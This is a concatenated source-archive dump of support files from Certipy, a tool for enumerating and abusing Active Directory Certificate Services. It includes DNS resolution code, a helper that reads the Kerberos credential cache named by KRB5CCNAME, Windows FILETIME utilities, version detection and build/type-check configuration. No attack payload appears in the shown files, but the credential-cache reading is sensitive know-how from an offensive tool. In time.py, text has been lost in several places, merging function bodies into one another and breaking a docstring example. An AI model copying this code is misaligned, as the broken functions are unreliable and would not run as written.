""" resolver = DnsResolver() # We can't put all possible nameservers in the list of nameservers, since # the resolver will fail if one of them fails nameserver = options.ns if nameserver is None: nameserver = target.dc_ip if nameserver is not None: resolver.resolver.nameservers = [nameserver] resolver.use_tcp = options.dns_tcp return resolver @staticmethod def create( ns: Optional[str] = None, dc_ip: Optional[str] = None, dns_tcp: bool = False, ) -> "DnsResolver": """ Create a DnsResolver with specified parameters. Args: target: Target object which may contain DC IP information ns: Nameserver to use dns_tcp: Whether to use TCP for DNS queries Returns: DnsResolver: A configured DNS resolver """ resolver = DnsResolver() # We can't put all possible nameservers in the list of nameservers, since # the resolver will fail if one of them fails nameserver = ns or dc_ip if nameserver is not None: resolver.resolver.nameservers = [nameserver] resolver.use_tcp = dns_tcp return resolver def resolve(self, hostname: str) -> str: """ Resolve hostname to IP address using DNS or local resolution. Uses cache for previously resolved hostnames. Args: hostname: The hostname to resolve Returns: str: The resolved IP address or the original hostname if resolution fails """ # Try to resolve the hostname with DNS first, then try a local resolve if hostname in self.mappings: logging.debug( f"Resolved {hostname!r} from cache: {self.mappings[hostname]}" ) return self.mappings[hostname] if is_ip(hostname): return hostname ip_addr = None if not self.resolver.nameservers: logging.debug(f"Trying to resolve {hostname!r} locally") else: logging.debug( f"Trying to resolve {hostname!r} at {self.resolver.nameservers[0]!r}" ) # Try DNS resolution first try: answers = self.resolver.resolve(hostname, tcp=self.use_tcp) if answers: ip_addr = str(answers[0]) except Exception as e: logging.warning(f"DNS resolution failed: {e}") handle_error(True) pass # Fall back to socket resolution if ip_addr is None: try: ip_addr = socket.gethostbyname(hostname) except Exception: ip_addr = None if ip_addr is None: logging.warning(f"Failed to resolve: {hostname}") return hostname self.mappings[hostname] = ip_addr return ip_addr def is_ip(hostname: Optional[str]) -> bool: """ Check if the given hostname is an IP address. Args: hostname: The hostname to check Returns: bool: True if the hostname is an IP address, False otherwise """ if hostname is None: return False try: _ = socket.inet_aton(hostname) return True except Exception: return False def get_kerberos_principal() -> Optional[Tuple[str, str]]: """ Get Kerberos principal information from the KRB5CCNAME environment variable. Returns: Tuple containing (username, domain) or None if not available """ krb5ccname = os.getenv("KRB5CCNAME") if krb5ccname is None: logging.warning("KRB5CCNAME environment variable not set") return None try: ccache = CCache.loadFile(krb5ccname) except Exception: return None if ccache is None: return None if ccache.principal is None: logging.error("No principal found in CCache file") return None if ccache.principal.realm is None: logging.error("No realm/domain found in CCache file") return None domain = ccache.principal.realm["data"].decode("utf-8") logging.debug(f"Domain retrieved from CCache: {domain}") username = "/".join(map(lambda x: x["data"].decode(), ccache.principal.components)) logging.debug(f"Username retrieved from CCache: {username}") return username, domain Certipy-5.1.0/certipy/lib/time.py000066400000000000000000000076731521657466500167270ustar00rootroot00000000000000""" Time Conversion Utilities This module provides functions for handling Microsoft Windows FILETIME format and converting time spans to human-readable strings. """ import struct # Constants for time calculations (in seconds) SECONDS_PER_HOUR = 3600 SECONDS_PER_DAY = 86400 SECONDS_PER_WEEK = 604800 SECONDS_PER_MONTH = 2592000 # 30-day month approximation SECONDS_PER_YEAR = 31536000 # 365-day year approximation # FILETIME conversion factor # Windows FILETIME is in 100-nanosecond intervals # Negative because FILETIME represents time remaining FILETIME_CONVERSION_FACTOR = -0.0000001 def filetime_to_span(filetime: bytes) -> int: """ Convert Windows FILETIME to time span in seconds. Windows FILETIME is a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 UTC. When used for validity periods, negative values represent time remaining. Args: filetime: Windows FILETIME as 8 bytes Returns: Time span in seconds (absolute value) Raises: struct.error: If the input bytes cannot be unpacked as a 64-bit integer """ # Unpack the 8-byte FILETIME as a 64-bit integer (little-endian) (span,) = struct.unpack(" bytes: """ Convert a time span in seconds to Windows FILETIME format. This function converts the time span to a 64-bit integer representing the number of 100-nanosecond intervals since January 1, 1601 UTC. Args: span: Time span in seconds (positive integer) Returns: Windows FILETIME as 8 bytes Raises: ValueError: If the input span is negative """ if span < 0: raise ValueError("Span must be a positive integer") # Convert seconds to 100-nanosecond intervals filetime = int(span / FILETIME_CONVERSION_FACTOR) # Pack as little-endian 64-bit integer return struct.pack(" str: """ Convert a time span in seconds to a human-readable string. The function converts the span to the largest appropriate unit (years, months, weeks, days, or hours) for readability. Args: span: Time span in seconds (positive integer) Returns: Human-readable time span (e.g., "1 year", "2 months", "3 weeks") Empty string if span is negative or zero """ if span <= 0: return "" # Time unit conversion table # (seconds_per_unit, singular_name, plural_name) time_units = [ (SECONDS_PER_YEAR, "year", "years"), (SECONDS_PER_MONTH, "month", "months"), (SECONDS_PER_WEEK, "week", "weeks"), (SECONDS_PER_DAY, "day", "days"), (SECONDS_PER_HOUR, "hour", "hours"), ] # Find the largest unit that divides span evenly for seconds_per_unit, singular, plural in time_units: if span % seconds_per_unit == 0 and span // seconds_per_unit >= 1: unit_count = span // seconds_per_unit return f"{unit_count} {singular if unit_count == 1 else plural}" # If no exact match, return in seconds return f"{span} seconds" def filetime_to_str(filetime: bytes) -> str: """ Convert Windows FILETIME to a human-readable time span string. This is a convenience function that combines filetime_to_span() and span_to_str() operations. Args: filetime: Windows FILETIME as bytes Returns: Human-readable time span string Example: >>> filetime_bytes = struct.pack(">> filetime_to_str(filetime_bytes) '1 year' """ try: span = filetime_to_span(filetime) return span_to_str(span) except (struct.error, TypeError, ValueError) as e: # Handle potential errors in the FILETIME format return f"Invalid FILETIME format: {str(e)}" Certipy-5.1.0/certipy/version.py000077500000000000000000000016401521657466500166770ustar00rootroot00000000000000# Initialize version as unknown version = "?" # Try modern importlib.metadata approach (Python 3.8+) try: from importlib.metadata import version as get_version # type: ignore version = get_version("certipy-ad") except ImportError: # For Python < 3.8, try importlib_metadata backport try: from importlib_metadata import version as get_version # type: ignore version = get_version("certipy-ad") except ImportError: # Fall back to pkg_resources (setuptools) try: import pkg_resources # type: ignore version = pkg_resources.get_distribution("certipy-ad").version # type: ignore except Exception: print( "Cannot determine Certipy version. " 'If running from source you should at least run "python setup.py egg_info"' ) BANNER = "Certipy v{} - by Oliver Lyak (ly4k)\n".format(version) Certipy-5.1.0/pyproject.toml000066400000000000000000000024621521657466500160750ustar00rootroot00000000000000[build-system] requires = ["setuptools>=69", "wheel"] build-backend = "setuptools.build_meta" [project] name = "certipy-ad" version = "5.1.0" description = "Active Directory Certificate Services enumeration and abuse" readme = "README.md" authors = [ {name = "ly4k"} ] license = {text = "MIT"} requires-python = ">=3.12" classifiers = [ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ] dependencies = [ "asn1crypto~=1.5.1", "cryptography~=42.0.8", "impacket~=0.13.0", "ldap3~=2.9.1", "pyasn1~=0.6.1", "dnspython~=2.7.0", "requests~=2.32.3", "pycryptodome~=3.22.0", "beautifulsoup4~=4.13.4", "httpx~=0.28.1", "argcomplete~=3.6.2", ] [project.optional-dependencies] bloodhound = [ "neo4j~=5.28.1", ] [project.urls] Homepage = "https://github.com/ly4k/Certipy" "Bug Tracker" = "https://github.com/ly4k/Certipy/issues" [project.scripts] certipy = "certipy.entry:main" [tool.setuptools] packages = [ "certipy", "certipy.commands", "certipy.commands.parsers", "certipy.lib", ] [tool.isort] profile = "black" line_length = 88 multi_line_output = 3 include_trailing_comma = true force_grid_wrap = 0 use_parentheses = true [tool.black] line-length = 88 target-version = ['py312'] Certipy-5.1.0/pyrightconfig.json000066400000000000000000000025201521657466500167230ustar00rootroot00000000000000{ "include": ["certipy/"], "exclude": [ "**/__pycache__", "venv/", "**/site-packages/impacket" ], "typeCheckingMode": "standard", "strictListInference": true, "strictDictionaryInference": true, "strictSetInference": true, "reportAssertAlwaysTrue": "error", "reportInvalidStringEscapeSequence": "error", "reportInvalidTypeVarUse": "error", "reportSelfClsParameterName": "error", "reportUnsupportedDunderAll": "error", "reportUnusedExpression": "error", "reportWildcardImportFromLibrary": "error", "reportConstantRedefinition": "error", "reportDeprecated": "error", "reportDuplicateImport": "error", "reportIncompleteStub": "error", "reportInconsistentConstructor": "error", "reportMatchNotExhaustive": "error", "reportMissingParameterType": "error", "reportMissingTypeArgument": "error", "reportTypeCommentUsage": "error", "reportUnnecessaryCast": "error", "reportUnnecessaryComparison": "error", "reportUnnecessaryContains": "error", "reportUnnecessaryIsInstance": "error", "reportUnusedClass": "error", "reportUnusedImport": "error", "reportUnusedFunction": "error", "reportUnusedVariable": "error", "reportUntypedBaseClass": "error", "reportUntypedClassDecorator": "error", "reportUntypedFunctionDecorator": "error", "reportUntypedNamedTuple": "error", "reportUnnecessaryTypeIgnoreComments": true }